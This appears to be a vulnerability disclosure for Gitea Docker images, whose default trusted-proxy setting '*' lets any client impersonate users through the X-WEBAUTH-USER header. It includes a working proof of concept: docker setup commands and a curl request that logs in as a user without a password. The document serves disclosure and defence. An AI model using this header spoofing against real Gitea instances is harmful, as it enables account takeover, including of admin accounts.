Gitea Docker image: `REVERSE_PROXY_TRUSTED_PROXIES = *` default lets any source IP impersonate any user via `X-WEBAUTH-USER`

• gitea/gitea Docker images (verified 1.26.2)
• docker/root/etc/templates/app.ini:55
• docker/rootless/etc/templates/app.ini:52

Binary distribution and self-built deployments that follow app.example.ini get the loopback-only default and are not affected.

 1docker run -d --name g -p 3000:3000 \
 2  -e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
 3  -e GITEA__security__INSTALL_LOCK=true \
 4  gitea/gitea:1.26.2
 5 
 6sleep 15
 7docker exec --user git g gitea admin user create \
 8  --username alice --password "longpasswordhere1234" \
 9  --email alice@x.test --must-change-password=false
10 
11Now the attack::
12 
13 
14curl -s -L -H "X-WEBAUTH-USER: alice" http://localhost:3000/ \
15  | grep -oE '<title>[^<]+</title>'

Output: <title>alice - Dashboard - Gitea: Git with a cup of tea</title> — attacker is logged in as alice with one header, no password, no cookie.

Same payload with X-WEBAUTH-USER: <any_existing_username> impersonates that user.

Any process that can reach the Gitea container's HTTP port directly — not through the intended authenticating proxy — can impersonate any user whose login name is known or guessable. Admin accounts (admin, gitea_admin, etc.) are the obvious targets.